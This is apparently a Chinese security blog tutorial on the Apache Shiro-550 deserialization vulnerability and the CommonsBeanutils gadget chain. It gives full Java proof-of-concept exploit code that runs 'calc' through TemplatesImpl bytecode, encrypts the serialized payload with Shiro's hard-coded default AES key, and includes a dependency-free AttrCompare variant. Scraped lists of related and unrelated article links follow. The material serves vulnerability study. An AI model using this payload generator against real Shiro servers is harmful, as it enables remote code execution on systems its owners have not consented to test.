前言

Shiro,一个流行的web框架,养活了一大批web狗,现在来对它分析分析。Shiro的gadget是CB链,其实是CC4改过来的,因为Shiro框架是自带Commoncollections的,除此之外还带了一个包叫做CommonBeanUtils,主要利用类就在这个包里

环境搭建

https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4

编辑shiro/samples/web目录下的pom.xml,将jstl的版本修改为1.2

<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
<scope>runtime</scope>
</dependency>

之后tomat搭起来就行了,选择sample-web.war

CB链分析

先回顾一下CC4

* Gadget chain:
* ObjectInputStream.readObject()
* PriorityQueue.readObject()
* PriorityQueue.heapify()
* PriorityQueue.siftDown()
* PriorityQueue.siftDownUsingComparator()
* TransformingComparator.compare()
* InvokerTransformer.transform()
* Method.invoke()
* TemplatesImpl.newTransformer()
* TemplatesImpl.getTransletInstance()
* Runtime.exec()

CB链跟CC4的不同点就是从compare开始的,正好可以从CommonBeanUtils包里找到BeanComparator这个类



主要看PropertyUtils.getProperty这个方法可以任意类的get方法调用,可以调用任意bean(class)的一个get方法去获取nameproperty属性

写个demo测试一下

package org.example;

import org.apache.commons.beanutils.PropertyUtils;

import java.lang.reflect.InvocationTargetException;

public class User {
private String name;
private int age;
public User(String name, int age){
this.name = name;
this.age = age;
} public String getName() {
System.out.println("Hello, getname");
return name;
}
public int getAge() {
System.out.println("Hello, getage");
return age;
}
public void setName(String name) {
this.name = name;
}
public void setAge(int age) {
this.age = age;
} public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
PropertyUtils.getProperty(new User("F12", 18), "name");
PropertyUtils.getProperty(new User("F12", 18), "age");
}
} // 输出
Hello, getname
Hello, getage

这样就可以利用TemplatesImpl中的getOutputProperties方法,这里面可以触发任意类的实例化,从而执行命令,注意这个类须继承AbstractTranslet类,或则改掉父类的默认值,如果忘了请回顾CC3

依赖:

<dependencies>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.2.4</version>
</dependency> <dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.27.0-GA</version>
</dependency> <dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.1.1</version>
</dependency>
</dependencies>
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator; import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue; public class Test {
public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object obj) throws IOException {
FileOutputStream fis = new FileOutputStream("cb.bin");
ObjectOutputStream ois = new ObjectOutputStream(fis);
ois.writeObject(obj);
}
public static void deserialize(String filename) throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream(filename);
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
}
public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ct = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ct.makeClassInitializer().insertBefore(cmd);
String randomClassName = "Evil" + System.nanoTime();
ct.setName(randomClassName);
ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{ct.toBytecode()});
setFieldValue(obj, "_name", "F12");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator beanComparator = new BeanComparator();
final PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
priorityQueue.add(1);
priorityQueue.add(2);
setFieldValue(beanComparator, "property", "outputProperties");
setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});
serialize(priorityQueue);
deserialize("cb.bin");
}
}

追踪一下链的过程,在PriorityQueue的readObject打个断点,开追,进入heapify

进入siftDown



进入siftDownUsingComparator



进入compare,到达关键点,获取TemplatesImpl的outputProperites属性



调用TemplatesImpl.getOutputProperites



进入newTransformer



进入getTransletInstance,到达世界最高城defineTransletClasses



后面就不看了,就是defineClass,至此CB链结束,还挺简单的

Shiro550分析

环境上面已经搭建好了,这里不说了

Shiro550用的其实就是CB链,这里只是有一些细节需要注意,Shiro的触发点是Cookie处解码时会进行反序列化,他生成的反序列化字符串是进行AES对称加密的,因此要在对数据进行一次AES加密,反序列化漏洞的利用就建立在知晓key的情况下,而shiro最初时,key是直接硬编码写在源码里的,全局搜serialize



可以看到这个DEFAULT_CIPHER_KEY_BYTES,amazing

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource; import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.PriorityQueue; public class Test {
public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object obj) throws IOException {
FileOutputStream fis = new FileOutputStream("cb.bin");
ObjectOutputStream ois = new ObjectOutputStream(fis);
ois.writeObject(obj);
}
public static void deserialize(String filename) throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream(filename);
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
}
public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ct = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ct.makeClassInitializer().insertBefore(cmd);
String randomClassName = "Evil" + System.nanoTime();
ct.setName(randomClassName);
ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{ct.toBytecode()});
setFieldValue(obj, "_name", "F12");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator beanComparator = new BeanComparator();
final PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
priorityQueue.add(1);
priorityQueue.add(2);
setFieldValue(beanComparator, "property", "outputProperties");
setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});
serialize(priorityQueue);
byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\Property\\cb.bin"));
AesCipherService aes = new AesCipherService();
byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource encrypt = aes.encrypt(bytes, key);
System.out.println(encrypt.toString());
}
}

但是直接报错了,报的是cc中的ComparableComparator的那个错,虽然shiro中内置了CommonCollection的一部分,但是并不是所有,而org.apache.commons.collections.comparators.ComparableComparator这个类就在CC包里面,且在shiro中没有,所以寄

无依赖Shiro550 Attack

关键点在于compare方法,如果不指定comparator的话,会默认为cc中的ComparableComparator



因此我们需要指定一个Comparator

  • 实现java.util.Comparator接口
  • 实现java.io.Serializable接口
  • Java、shiro或commons-beanutils自带,且兼容性强

可以找到AttrCompare

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.map.CaseInsensitiveMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import sun.misc.ASCIICaseInsensitiveComparator; import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue; public class Test {
public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object obj) throws IOException {
FileOutputStream fis = new FileOutputStream("cb.bin");
ObjectOutputStream ois = new ObjectOutputStream(fis);
ois.writeObject(obj);
}
public static void deserialize(String filename) throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream(filename);
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
}
public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ct = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ct.makeClassInitializer().insertBefore(cmd);
String randomClassName = "Evil" + System.nanoTime();
ct.setName(randomClassName);
ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{ct.toBytecode()});
setFieldValue(obj, "_name", "F12");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator beanComparator = new BeanComparator();
final PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
priorityQueue.add(1);
priorityQueue.add(2);
setFieldValue(beanComparator, "property", "outputProperties");
setFieldValue(beanComparator, "comparator", new AttrCompare());
setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});
serialize(priorityQueue);
byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\Property\\cb.bin"));
AesCipherService aes = new AesCipherService();
byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource encrypt = aes.encrypt(bytes, key);
System.out.println(encrypt.toString());
}
}

成功Attack

Shiro反序列化分析的更多相关文章

  1. 【JavaWeb】CVE-2016-4437 Shiro反序列化漏洞分析及代码审计

    Shiro反序列化漏洞分析及代码审计 漏洞简介 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.   Apache Shiro默认使用了CookieRe ...

  2. 应急响应--记录一次漏洞紧急处理中意外发现的挖矿木马(Shiro反序列化漏洞和ddg挖矿木马)

    背景 某公司线上服务器意外发现一个Apache Shiro 反序列化漏洞,可以直接GetShell.出于做安全的谨慎,马上出现场应急,确认漏洞.该漏洞存在在cookie字段中的rememberMe字段 ...

  3. Apache Shiro反序列化漏洞复现

    Apache Shiro反序列化漏洞复现 0x01 搭建环境 获取docker镜像 Docker pull medicean/vulapps:s_shiro_1 重启docker system res ...

  4. Shiro反序列化复现

    Shiro反序列化复现 ——————环境准备—————— 目标靶机:10.11.10.108 //docker环境 攻击机ip:无所谓 vpsip:192.168.14.222 //和靶机ip可通 1 ...

  5. Shiro反序列化漏洞复现

    Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.使用Shiro的易于理解的API,可以快速.轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企 ...

  6. 一次关于shiro反序列化漏洞的思考

    0x01前言 之前在我反序列化的那篇文章中(https://www.cnblogs.com/lcxblogs/p/13539535.html),简单说了一下反序列化漏洞,也提了一嘴常见的几种Java框 ...

  7. fastjson及其反序列化分析--TemplatesImpl

    fastjson及其反序列化分析 源码取自 https://www.github.com/ZH3FENG/PoCs-fastjson1241 参考 (23条消息) Json详解以及fastjson使用 ...

  8. Shiro反序列化的检测与利用

    1. 前言 Shiro 是 Apache 旗下的一个用于权限管理的开源框架,提供开箱即用的身份验证.授权.密码套件和会话管理等功能. 2. 环境搭建 环境搭建vulhub 3. 如何发现 第一种情况 ...

  9. 利用shiro反序列化注入冰蝎内存马

    利用shiro反序列化注入冰蝎内存马 文章首发先知社区:https://xz.aliyun.com/t/10696 一.shiro反序列化注入内存马 1)tomcat filter内存马 先来看一个普 ...

  10. [JavaWeb]反序列化分析(二)--CommonCollections1

    反序列化分析(二)--CommonCollections1 链子分析 首先新建一个TransformedMap,其中二三参数为可控,后续要用到 当TransformedMap执行put方法时,会分别执 ...

随机推荐

  1. Codeforces Round #821 (Div. 2) A-E

    比赛链接 A 题解 知识点:贪心. 下标模 \(k\) 相同分为一组,共有 \(k\) 组,组间不能互换,组内任意互换. 题目要求连续 \(k\) 个数字,一定能包括所有的 \(k\) 组,现在只要在 ...

  2. react实战 系列

    react实战 系列(未完结,持续更新中...) 前言 学习 react 的方法,比较常规的是跟着官方文档边看边做,可是 react 的官网教程有点难(至少比 vue 的难),亦或买几本讲基础的或实战 ...

  3. Apache log4j2远程代码执行漏洞

    漏洞描述 Apache Log4j2是一个基于Java的日志记录工具.该工具重写了Log4j框架,并且引入了大量丰富的特性.该日志框架被大量用于业务系统开发,用来记录日志信息.大多数情况下,开发者可能 ...

  4. JVM详解

    1 JVM运行机制概述 JVM运行机制 类加载机制: 类加载过程由类加载器来完成,即由ClassLoader及其子类实现,有隐式加载和显式加载两种方式.隐式加载是指在使用new等方式创建对象时会隐式调 ...

  5. patch命令

    patch命令 patch指令让用户利用设置修补文件的方式.修改.更新原始文件,倘若一次仅修改一个文件,可直接在指令列中下达指令依序执行,如果配合修补文件的方式则能一次修补大批文件,这也是Linux系 ...

  6. Spring源码阅读系列--全局目录

    阅读之前要注意的东西:本文就是主打流水账式的源码阅读,主导的是一个参考,主要内容需要看官自己去源码中验证.全系列文章基于 spring 源码 5.x 版本. 写在开始前的话: 阅读spring 源码实 ...

  7. centos8.x阿里源配置

    >>> cd /etc/yum.repo.d >>> mkdir bak >>> mv *.repo bak/ >>> cd b ...

  8. ABP的版本升级,从7.2.2升级到7.2.3

    1.升级ABP CLI 见前面的文章:ABP开发需要用到的命令 更新最新版本: ~~~ dotnet tool update -g Volo.Abp.Cli ~~~ 2.升级ABP Suite 见前面 ...

  9. 【Azure Developer】在使用中国区 Azure AD B2C时, AUTHORITY的值是什么呢?

    问题描述 使用MSAL4J的SDK调用(源码地址:https://github.com/Azure-Samples/ms-identity-msal-java-samples/tree/main/3. ...

  10. 从零开始写 Docker(三)---基于 cgroups 实现资源限制

    本文为从零开始写 Docker 系列第三篇,在mydocker run 基础上基于 cgroups 实现容器的资源限制. 完整代码见:https://github.com/lixd/mydocker ...